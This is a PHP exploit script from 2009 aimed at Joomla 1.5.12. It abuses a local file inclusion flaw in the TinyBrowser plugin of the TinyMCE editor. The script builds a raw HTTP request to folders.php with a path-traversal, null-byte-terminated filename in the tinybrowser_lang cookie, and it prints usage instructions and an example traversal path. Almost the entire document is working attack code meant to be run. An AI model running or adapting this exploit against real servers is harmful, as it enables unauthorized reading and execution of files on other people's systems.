<?php
	/*
		Copyright (c) ITIX LTD

		This program is free software: you can redistribute it and/or modify
		it under the terms of the GNU General Public License as published by
		the Free Software Foundation, either version 3 of the License, or
		(at your option) any later version.

		This program is distributed in the hope that it will be useful,
		but WITHOUT ANY WARRANTY; without even the implied warranty of
		MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
		GNU General Public License for more details.

		You should have received a copy of the GNU General Public License
		along with this program.  If not, see <http://www.gnu.org/licenses/>.

		TITLE:		Joomla 1.5.12 read/exec remote files
		AUTHOR:		Nikola Petrov (vp.nikola@gmail.com)
		VERSION:	1.0
		LICENSE:	GNU General Public License

		Platform: Joomla 1.5.12
		Vulnerabilities discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)
		Date: 27.08.2009
	*/
	
	print "\n\n#########################################################################\n";
	print "# LFI discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)\n";
	print "# Date: 27.08.2009\n";
	print "#########################################################################\n\n";

	if($argc < 4) {
		print "usage: php ". $argv[0] ." host path file [port] [debug]\n";
		print "example: php ". $argv[0] ." localhost /j1512 ../../../../../../../../wamp/www/j1512/images/stories/duck.jpg 80 1\n";
		exit();
	}
	
	$Host = $argv[1];
	$Path = $argv[2] . '/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/folders.php';
	$File = $argv[3] . '%00';
	
	empty($argv[4]) ? $Port = 80 : $Port = $argv[4];
	empty($argv[5]) ? $Debug = 0 : $Debug = 1;

	function HttpSend($aHost, $aPort, $aPacket) {
		$Response = "";

		if(!$Socket = fsockopen($aHost, $aPort)) {
			print "Error connecting to $aHost:$aPort\n\n";
			exit();
		}
		
		fputs($Socket, $aPacket);
		
		while(!feof($Socket)) $Response .= fread($Socket, 1024);
		
		fclose($Socket);
		
		return $Response;
	}
	
	$Packet  = "GET {$Path} HTTP/1.0\r\n";
	$Packet .= "Host: {$Host}\r\n";
	$Packet .= "Cookie: tinybrowser_lang={$File}\r\n";
	$Packet .= "Connection: close\r\n\r\n";
	
	if($Debug) {
		print "Request to '$Host:$Port':\n";
		print $Packet;
	}
	
	print HttpSend($Host, $Port, $Packet);
?>